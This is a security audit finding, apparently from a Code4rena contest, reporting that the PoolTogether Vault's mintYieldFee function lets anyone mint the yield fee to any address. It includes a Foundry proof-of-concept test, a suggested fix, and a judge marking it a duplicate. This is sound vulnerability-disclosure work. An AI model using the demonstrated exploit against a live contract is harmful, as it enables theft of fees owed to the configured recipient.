code423n4 commented 1 year ago

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394

Vulnerability details

Impact

The mintYieldFee function can be called by anyone, and the yieldFee can be sent to any address. In that way, anyone can get a yield fee. Also, there is a storage variable yieldFeeRecipient (and setter function setYieldFeeRecipient with onlyOwner modifier), so the yieldFee should be sent to this address.

Proof of Concept

function testLiquidateAndMintFeesPOC() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);
    vault.setYieldFeeRecipient(bob);

    uint256 _amount = 1000e18;

    underlyingAsset.mint(address(this), _amount);
    _sponsor(underlyingAsset, vault, _amount, address(this));

    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

    _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

    vm.stopPrank();

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    assertEq(vault.balanceOf(eve), 0);

    assertEq(vault.totalSupply(), _amount + _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

    vm.expectEmit();
    emit MintYieldFee(address(this), eve, _yieldFeeShares);

    vault.mintYieldFee(_yieldFeeShares, eve);

    assertEq(vault.balanceOf(eve), _yieldFeeShares);

    assertEq(vault.totalSupply(), _amount + _liquidatedYield + _yieldFeeShares);
    assertEq(vault.yieldFeeTotalSupply(), 0);
  }

As you can see from the code above, _yieldFeeRecipient is the bob address, but the mintYieldFee function is called with eve address for function parameter _recipient, so the yieldFee is sent to the eve address. In that way, it is proved that the yieldFee could be sent to any address.

Tools Used

Manual review

Recommended Mitigation Steps

Parameter _recipient should be removed from the mintYieldFee function and the yieldFee should be sent to the _yieldFeeRecipient address.

function mintYieldFee(uint256 _shares) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_yieldFeeRecipient, _shares);

    emit MintYieldFee(msg.sender, _yieldFeeRecipient, _shares);
  }

Assessed type

Access Control

c4-judge commented 1 year ago

Picodes marked the issue as duplicate of #396